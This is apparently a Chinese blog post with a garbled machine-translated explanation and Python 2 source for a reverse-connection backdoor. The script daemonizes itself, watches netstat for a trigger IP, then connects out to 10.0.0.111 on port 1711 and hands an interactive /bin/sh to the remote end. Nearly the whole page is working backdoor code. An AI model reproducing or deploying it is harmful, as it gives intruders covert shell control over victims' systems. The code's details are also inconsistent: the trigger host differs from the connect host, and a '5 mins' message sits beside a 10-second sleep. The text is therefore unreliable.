现在的位置: 首页 > 综合 > 正文

Python reverse connection back door

2012年04月04日 综合 ⁄ 共 1480字 ⁄ 字号 暂无评论

1) first of all daemon

2) and then use the netstat command, detecting whether the specified IP (192.168.1.111) connection is activated,,

No, sleep a few minutes ( this time to adjust as needed )

3) after activation, a child process, creating a socket, and operation monitoring procedure IP connection, and performing a shell, will be the

The shell input and output redirected to socket.

4) the parent process is waiting for shell sub-process execution, if completed, would continue to monitor

Go round and begin again.

#!/usr/bin/python

import os
import sys
import socket
import time

def daemon ():
try:
pid = os.fork()
if pid > 0:
sys.exit(0)
except OSError, e:
print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror)
sys.exit(1)

os.chdir("/")
os.setsid()
os.umask(0)

try:
pid = os.fork()
if pid > 0:
print "Daemon PID %d" % pid
sys.exit(0)
except OSError, e:
print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror)
sys.exit(1)

def shell (host = '10.0.0.111', port = 1711):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
f = s.fileno()
os.dup2(f, 0)
os.dup2(f, 1)
os.dup2(f, 2)
os.execl("/bin/sh", "sh", "-i")

except socket.error, (errno, errstr):
print "connect error%d\n" % os.getpid()
time.sleep(10)

sys.exit(127)

if __name__ == "__main__":
daemon()

while(True):
(cin, cout) = os.popen4("netstat -nt | grep 192.168.1.111")
str = cout.read()
try:
os.wait()
except OSError, e:
pass

if str != '':
print str
try:
pid = os.fork()
if pid > 0:
print 'parent wait:%d\n' % os.getpid()
try:
os.wait()
except OSError, e:
pass
else:
print 'ready to connect:%d\n' % os.getpid()
shell()

except OSError, e:
sys.exit(1)
else:
print "start sleep 5 mins:%d\n" % os.getpid()
time.sleep(10)

给我留言

留言无头像?